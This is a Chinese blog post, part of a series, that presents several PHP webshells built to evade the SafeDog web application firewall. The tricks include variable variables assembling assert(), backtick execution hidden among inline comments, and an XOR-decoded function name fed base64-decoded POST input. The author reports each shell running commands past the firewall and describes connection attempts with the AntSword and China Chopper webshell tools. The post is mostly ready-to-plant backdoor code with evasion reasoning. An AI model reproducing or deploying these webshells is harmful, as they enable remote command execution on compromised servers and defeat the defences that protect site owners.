webshell安全狗免杀(二)
有一段php代码:
<?php $h='f'; $$h=$_REQUEST['x']; //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f $d='CHECK'; $$d='ass'; $$d=$CHECK.'ert'; $CHECK($f); ?>
原理:参数f赋值给$h,$$h解析后为$f = $_REQUEST['x'];参数'CHECK'赋值给变量$d,$$d解析后为$CHECK = 'ass',再解析$$d为$CHECK = $CHECK.'ert',这一步也可以理解为将$CHECk.'ert'赋值给$CHECK变量,这个时候$CHECK为assert()命令执行函数,最终,命令为 $assert($_REQUEST['x']),
代码保存在phpstudy网站跟目录下,用自带调试的firefox浏览器中访问
成功执行,也可以在url后接参数执行
assert()既能代码执行,也能命令执行,
再看这样一段php代码
<?php //t.php $test = $_GET['r']; echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/; ?>
echo语句之后,增加了很多内联注释干扰字段,没有实际意义,真正执行的是/*!*/(`$test`)/*%00*/,能够绕过WAF检测机制的是"!",另外反单引号(``)的作用就是将任何代码当作命令执行,同样的用自带调试功能的firefox访问php文件
能够执行命令
另有如下一段php代码:
<?php $a = substr_replace("assexy","rt",4); $b = array(''=>$a($_REQUEST['q'])); var_dump($b); ?>
首先使用substr_replace()函数,将'assexy'中的'xy',替换为'rt',参数4的意思是从下标4开始替换,替换后$a = assert()代码和命令执行函数,$b为一个数组,'=>'为数组赋值,意思是将$_REQUEST['q']得到的值进行代码或命令执行,再将执行的结果赋值给数组,最后将数组打印出来,同样的,用firefox来看一下是否能访问
同样是能够绕过WAF,执行命令
再如下面的一段php代码:
<?php $pwd='123'; //将密码给一个变量保存,后面调用 class NMSL{ function __destruct(){ $HI='lKrRM{'^"\xd\x38\x1\x37\x3f\xf"; return @$HI("$this->PFZE"); } } $a='b'; $$a='NMSL'; $b=new NMSL(); @$b->PFZE=isset($_GET[$pwd])?base64_decode($_POST[$pwd]):$_POST[$pwd]; //调用$pwd变量 ?>
将要解析的参数封装为一个类,创建一个对象,再经过base64加密解密,最终得到执行语句,用可调试的firefox进行测试,
成功执行,用webshell工具(中国蚁剑)来连接测试
这里用base64编码包裹一下,再来连接,因为再payload代码中,使用base64编码规则
尝试连接时,显示错误,原因可能是网站安全狗(WAF)将工具的指纹信息加入了限制规则,无法连接
再用webshell工具(中国菜刀)来连接,
尝试连接时,网站防火墙直接显示阻止连接,所以也没能成功,
以上的payload代码实测均可以绕过WAF执行命令或代码,但是部分webshell工具是连接失败的,总的来说payload逻辑没有问题。
本文来自博客园,作者:田家少闲月-,转载请注明原文链接:https://www.cnblogs.com/zhaoyunxiang/p/15350160.html